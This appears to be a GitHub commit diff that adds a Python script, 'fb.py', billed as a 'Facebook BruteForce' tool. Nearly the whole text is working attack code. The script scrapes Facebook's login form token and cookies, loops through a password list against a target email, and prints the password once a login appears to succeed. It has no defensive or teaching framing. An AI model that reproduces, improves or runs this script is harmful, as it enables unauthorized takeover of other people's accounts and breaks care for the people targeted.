|
| 1 | +#Author-Slayking1965 |
| 2 | +#Email-kingslayer8509@gmail.com |
| 3 | +#you need to create a file password.txt which contains all possible passwords |
| 4 | +import requests |
| 5 | +import threading |
| 6 | +import urllib.request |
| 7 | +import os |
| 8 | +from bs4 import BeautifulSoup |
| 9 | +import sys |
| 10 | + |
| 11 | +if sys.version_info[0] !=3: |
| 12 | + print('''-------------------------------------- |
| 13 | + REQUIRED PYTHON 3.x |
| 14 | + use: python3 fb.py |
| 15 | +-------------------------------------- |
| 16 | + ''') |
| 17 | + sys.exit() |
| 18 | + |
| 19 | +post_url='https://www.facebook.com/login.php' |
| 20 | +headers = { |
| 21 | + 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36', |
| 22 | +} |
| 23 | +payload={} |
| 24 | +cookie={} |
| 25 | + |
| 26 | +def create_form(): |
| 27 | + form=dict() |
| 28 | + cookie={'fr':'0ZvhC3YwYm63ZZat1..Ba0Ipu.Io.AAA.0.0.Ba0Ipu.AWUPqDLy'} |
| 29 | + |
| 30 | + data=requests.get(post_url,headers=headers) |
| 31 | + for i in data.cookies: |
| 32 | + cookie[i.name]=i.value |
| 33 | + data=BeautifulSoup(data.text,'html.parser').form |
| 34 | + if data.input['name']=='lsd': |
| 35 | + form['lsd']=data.input['value'] |
| 36 | + return (form,cookie) |
| 37 | + |
| 38 | +def function(email,passw,i): |
| 39 | + global payload,cookie |
| 40 | + if i%10==1: |
| 41 | + payload,cookie=create_form() |
| 42 | + payload['email']=email |
| 43 | + payload['pass']=passw |
| 44 | + r=requests.post(post_url,data=payload,cookies=cookie,headers=headers) |
| 45 | + if 'Find Friends' in r.text or 'Two-factor authentication required' in r.text: |
| 46 | + open('temp','w').write(str(r.content)) |
| 47 | + print('\npassword is : ',passw) |
| 48 | + return True |
| 49 | + return False |
| 50 | + |
| 51 | +print('\n---------- Welcome To Facebook BruteForce ----------\n') |
| 52 | +file=open('passwords.txt','r') |
| 53 | + |
| 54 | +email=input('Enter Email/Username : ') |
| 55 | + |
| 56 | +print("\nTarget Email ID : ",email) |
| 57 | +print("\nTrying Passwords from list ...") |
| 58 | + |
| 59 | +i=0 |
| 60 | +while file: |
| 61 | + passw=file.readline().strip() |
| 62 | + i+=1 |
| 63 | + if len(passw) < 6: |
| 64 | + continue |
| 65 | + print(str(i) +" : ",passw) |
| 66 | + if function(email,passw,i): |
| 67 | + break |
0 commit comments